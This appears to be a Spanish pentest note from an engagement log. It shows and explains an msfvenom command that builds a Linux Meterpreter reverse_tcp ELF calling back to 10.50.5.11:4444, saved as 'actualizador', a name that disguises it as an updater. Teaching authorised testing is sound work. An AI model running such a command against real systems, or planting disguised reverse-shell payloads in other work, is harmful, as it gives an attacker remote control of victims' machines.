Generar un payload con msfvenom, y leerlo antes de confiar en él

Registro guardado del comando usado y su salida:

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.50.5.11 LPORT=4444 -f elf -o actualizador
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: actualizador

Tres decisiones, visibles en el propio comando: qué hace el payload al ejecutarse (linux/x86/meterpreter/reverse_tcp: abre una sesión Meterpreter que se conecta hacia afuera), a dónde se conecta (LHOST/LPORT: la IP y el puerto donde escucha quien lo recibe) y en qué formato queda el archivo final (-f elf: un ejecutable de Linux).

El archivo se guardó como actualizador, un nombre genérico sin relación con lo que realmente hace. Esa es una decisión de quien genera el archivo, no algo que msfvenom imponga ni oculte: el comando que lo produjo queda escrito tal cual en el registro, y cualquiera que lo lea sabe exactamente qué es.

El registro de este encargo usó -f elf porque el objetivo (msp-ftp01) corre Linux. Contra un objetivo Windows, el mismo tipo de payload reverso necesitaría un formato ejecutable distinto (exe, por ejemplo), y contra una aplicación web que solo acepta un archivo de cierto tipo, el formato podría tener que adaptarse todavía más. El criterio no cambia: el formato lo decide lo que el objetivo puede ejecutar, no la costumbre de quien genera el payload.